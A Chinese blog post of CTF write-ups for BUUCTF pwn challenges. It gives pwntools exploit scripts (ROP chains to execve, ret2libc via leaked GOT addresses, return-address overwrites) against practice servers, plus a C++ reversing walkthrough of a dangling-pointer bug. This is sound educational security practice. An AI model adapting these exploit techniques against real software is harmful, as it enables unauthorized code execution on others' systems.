当前位置:网站首页>buuctf-pwn write-ups (6)
buuctf-pwn write-ups (6)
2022-06-27 00:53:00 【L3H_CoLin】
buu047-cmcc_simplerop
和上一道題的思路完全相同。
from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 26121)
int80 = 0x80493E1
popeax_ret = 0x80BAE06
popedx_ret = 0x806e82a
popecx_ebx_ret = 0x806E851
addesp0x14_ret = 0x807b36c
bss = 0x80EB060
read = 0x806CD50
payload = cyclic(0x14 + 12)
payload += p32(read) # call read()
payload += p32(addesp0x14_ret) # return address, add esp to execute latter ROP
payload += p32(0) # arg #1 of read(): stdin
payload += p32(bss) # arg #2 of read(): a bss address
payload += p32(0x8) # arg #3 of read(): read length
payload += p32(0) * 2
payload += p32(popeax_ret) # eax = 0x11(SYS_EXECVE)
payload += p32(11)
payload += p32(popecx_ebx_ret)
payload += p32(0) # ebx = '/bin/sh'
payload += p32(bss) # edx = 0
payload += p32(popedx_ret)
payload += p32(0) # ecx = 0
payload += p32(int80) # int 80
io.sendline(payload)
io.sendline(b'/bin/sh' + b'\x00')
io.interactive()
buu048-picoctf_2018_buffer overflow 2
from pwn import *
context.log_level='debug'
# io = process('pwn')
io = remote('node4.buuoj.cn', 27446)
io.sendline(cyclic(0x6C+4) + p32(0x80485CB) + p32(0) + p32(0xdeadbeef) + p32(0xdeadc0de))
io.interactive()
buu049-xdctf2015_pwn200
from pwn import *
from LibcSearcher import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 25724)
elf = ELF('./pwn')
payload = cyclic(0x6C + 4)
payload += p32(elf.plt['write'])
payload += p32(elf.symbols['vuln'])
payload += p32(1)
payload += p32(elf.got['write'])
payload += p32(4)
io.sendlineafter(b'Welcome to XDCTF2015~!\n', payload)
write = u32(io.recv(4))
print(hex(write))
libc = LibcSearcher('write', write)
base = write - libc.dump('write')
sys = libc.dump('system') + base
binsh = libc.dump('str_bin_sh') + base
payload = cyclic(0x6C + 4)
payload += p32(sys)
payload += p32(0)
payload += p32(binsh)
io.sendline(payload)
io.interactive()
buu050-bbys_tu_2016
from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 27499)
io.sendline(cyclic(0xC + 12) + p32(0x804856D))
io.interactive()
buu051-mrctf2020_easyoverflow
連上之後輸48個無效字節+‘[email protected][email protected]’
buu052-wustctf2020_getshell_2
這道題只能溢出到返回地址+4字節的地方,直接修改返回地址到system函數的話參數寫不進去,所以利用shell函數返回到指令’call _system’的地方,在後面就可以寫函數參數’sh’(截取/bbbbbbbbin_what_the_f?ck__–??/sh的最後兩個字節)了。
from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 29467)
elf = ELF('./pwn')
io.sendline(cyclic(24+4) + p32(0x8048529) + p32(0x8048670))
io.interactive()
buu053-[ZJCTF 2019]Login
第一道C++ pwn題。這也是我第一次認真在做一道C++ pwn的題目。
當然首先,我們需要會逆向C++程序。C++是C的超集,有很多C中沒有的東西。其中最為重要的就是類與對象的識別了。
在這一題中,程序的符號錶貌似沒有被删除,我們可以看到IDA為我們分析出來的各種函數名與類名稱。
其中容易發現程序中定義了兩個類:User和Admin,而且似乎有三個main中定義的lambda函數。
程序中無法查看User類的具體結構,因此我們需要手動創建User類結構體,在IDA的Structures窗口中定義:Ins快捷鍵創建結構體,Del删除結構體,D/A/*創建結構體成員(常用D),N修改成員名,U删除成員。如下圖:(具體為什麼要這樣定義看下面的分析)
通過User類的構造函數發現,構造函數在User,User+8,User+0x58處進行了賦值操作,這裏的後面兩個均是使用strncpy函數賦值,因此判斷是字符串。第一個聲明賦值指向的是這樣一個結構,有兩個函數指針,判斷是User類的虛函數錶,因為C++類的虛函數錶通常都是放在類的最開頭比特置。可以看到User類中定義了兩個虛函數get_password和shell。使用快捷鍵Y可以修改參數的類型,修改為合適的類型之後,反匯編出來的代碼中就不會有一大堆强制轉型了,看上去舒服很多。
又通過User類的get_password方法可以判斷出後面兩個大小為0x50的字符串中到底哪個是用戶名哪個是密碼。使用快捷鍵N可以修改參數或變量的名字,修改之後的User類構造函數如下圖:
另外,在main函數中發現了login變量,其屬於User類,且比特於bss段中,判斷是User類全局變量對象。我們將bss段中的這個對象修改類型發現大小正好符合,說明我們之前定義的User類結構是正確的。

再看一下Admin類的構造函數,發現其調用了User類的構造函數,因此判斷Admin類是User類的子類。
從Admin類虛函數錶中含有User類函數也可以說明Admin類是User的子類,且Admin類覆寫了User類的shell方法,打開發現User類的shell沒有任何作用,而Admin類的shell方法就是直接執行’/bin/sh’,是一個後門。而get_password類沒有覆寫,在User類中僅僅是用了virtual聲明而已。
現在,我們已經將程序中主要的類、對象分析完畢,main函數的前半部分我們可以讀懂了。
在main函數中,實例化了一個Admin對象,用戶名為admin,密碼為2jctf_pa5sw0rd。然後接受用戶的輸入設置全局User類對象的用戶名和密碼。
然後main函數用lambda函數做了一些什麼事情,我們進入password_checker的某個函數看一下。
這個函數進行密碼輸入的比較,如果輸入密碼正確就執行exec函數指針指向的函數。
根據這個函數的聲明,推測password_checker應該是一個結構體,其中包含了後面的lambda函數(注意這個函數應該是一個定義於password_checker結構體中的lambda函數,注意password_checker與lambda函數之間是以::連接)
在password_checker函數中發現了checker結構體的賦值操作,password_checker中只有這一個函數指針存在。
因此這一段代碼原本的作用是:檢查密碼是否輸入正確,如果正確則執行greeting_func函數:
但是經過實地運行發現,在lambda函數中會發生段錯誤,錯就錯在exec函數指針上。原本指針的值應為0x400A90,但是執行到這裏的時候發現已經被改成了0x400090。
進一步跟踪調試發現,是strip_newline函數自動識別換行符(ASCII碼為0xA),然後給這個地址錯誤地修改了,變成了一個無效的值。
這給了我們提示:strip_newline是在lambda函數中調用的,但是卻能够修改exec函數的地址,通過調試我們不難發現,exec是一個指針,通過main函數調用password_checker函數獲取,但是這是password_checker的局部變量,其地址應該在main函數棧幀的低地址處(main函數實際上沒有棧幀,這裏類比其他函數的棧幀方便理解),也就是main函數執行時esp的低地址處,而調用其他函數時這裏的地址自然就有可能會受到影響。由此可見,如果我們輸入密碼的時候修改這裏的地址值到Admin類的shell函數地址,就能够拿到shell了。
因此,本題的漏洞點在於返回局部變量的值,屬於邏輯錯誤。子函數返回到父函數的返回值不應該是子函數局部變量的值。漏洞本身不難,但是對於逆向C++而言還是一次很好的訓練與學習。
exp:
from pwn import *
context.log_level='debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 26270)
io.sendline(b'admin')
io.sendline(b'2jctf_pa5sw0rd\x00\x00' + p64(0x400E88) * 8)
io.interactive()
嘗試使用CLion還原出程序的源代碼:(C++基礎不紮實,盡量還原)
#include <iostream>
#include <cstring>
using namespace std;
void strip_newline(char* buf, int64_t length){
char* i;
for(i = &buf[length]; i >= buf; i--){
if ( *i == '\n' )
*i = '\0';
}
}
class User{
private:
char username[0x50]{
};
char password[0x50]{
};
public:
User(){
}
User(const char* username, const char* password){
strncpy(this->username, username, 0x50);
strncpy(this->password, password, 0x50);
}
void read_name(){
char name[80];
fgets(name, 79, stdin);
strip_newline(name, 80);
strncpy(this->username, name, 0x50);
}
void read_password(){
char pwd[80];
fgets(pwd, 79, stdin);
strip_newline(pwd, 80);
strncpy(this->password, pwd, 0x50);
}
public:
virtual char* get_password(){
return this->password;
}
virtual void shell(){
puts("No shell for you!");
}
};
class Admin : User{
public:
Admin(const char* username, const char* password) : User(username, password){
}
void shell() override{
puts("Congratulations!");
system("/bin/sh");
}
char* get_password() override{
return User::get_password();
}
};
typedef struct checker{
void (*check)();
int64_t null[2];
}checker;
checker* password_checker(void (*check)()){
checker checker;
checker.check = check;
return &checker;
}
User login;
int main() {
char admin_password[88];
cout << "Hello, World!" << endl;
setbuf(stdout, 0);
strcpy(admin_password, "2jctf_pa5sw0rd");
memset(&admin_password[15], 0, 65);
Admin admin((const char*)"admin", admin_password);
puts(
" _____ _ ____ _____ _____ _ _ \n"
"|__ / | |/ ___|_ _| ___| | | ___ __ _(_)_ __ \n"
" / /_ | | | | | | |_ | | / _ \\ / _` | | '_ \\ \n"
" / /| |_| | |___ | | | _| | |__| (_) | (_| | | | | |\n"
"/____\\___/ \\____| |_| |_| |_____\\___/ \\__, |_|_| |_|\n"
" |___/ ");
printf("Please enter username: ");
login.read_name();
printf("Please enter password: ");
auto greeting_func = []()->void{
puts("<===Welcome to ZJCTF!!!===>");
return login.shell();
};
checker* exec = password_checker(greeting_func);
login.read_password();
char* admin_pwd = admin.get_password();
char* user_pwd = login.get_password();
[](checker* exec, char* admin_pwd, char* user_pwd)->void{
char s[88];
if(!strcmp(admin_pwd, user_pwd)){
snprintf(s, 0x50uLL, "Password accepted: %s\n", s);
puts(s);
exec->check();
}else{
puts("Nope!");
}
}(exec, admin_pwd, user_pwd);
return 0;
}
边栏推荐
- XML learning notes
- 3 - wire SPI Screen Drive
- Moher College -x-forwarded-for injection vulnerability practice
- 2022年地理信息系统与遥感专业就业前景与升学高校排名选择
- Law of Large Numbers
- Sword finger offer 10- ii Frog jumping on steps
- buuctf-pwn write-ups (6)
- Solve the problem that stc8g1k08 program cannot run and port configuration
- 【Vscode】预览md文件
- 當Transformer遇見偏微分方程求解
猜你喜欢

CPU的异常处理

Employment prospect of GIS and remote sensing specialty and ranking selection of universities in 2022

Gaussian and Summary Stats

com.fasterxml.jackson.databind.exc.MismatchedInputException: Expected array or string. at [Source:x

Implementation of ARP module in LwIP

Is there anyone who doesn't know the three cores of concurrent programming?

kubernetes可视化界面dashboard

How to control the quality of HD slip ring in the production process

3 - wire SPI Screen Drive

Deep learning method for solving mean field game theory problems
随机推荐
About Random Numbers
Mindspire, a domestic framework, cooperates with Shanshui nature conservation center to find and protect the treasure life in the "China water tower"
Encapsulate servlet unified processing request
Lwip之ARP模块实现
Other service registration and discovery
Flink 实战问题(七):No Watermark(Watermarks are only available EventTime is used)
解决STC8G1K08程序不能运行的问题和端口配置
idea 热启动失效解决方案
CEC-I 中华学习机使用说明与问答
Law of Large Numbers
超越锂电池——未来电池的概念
Interface test framework practice (I) | requests and interface request construction
Timing mechanism of LwIP
自定义JSP[if,foreach,数据,select]标签
MATLAB data type - character type
数字格式化的 js 库
3線spi屏幕驅動方式
No clue about complex data?
CH423要如何使用,便宜的国产IO扩展芯片
05 | standard design (Part 2): how to standardize the different styles of commit information, which are difficult to read?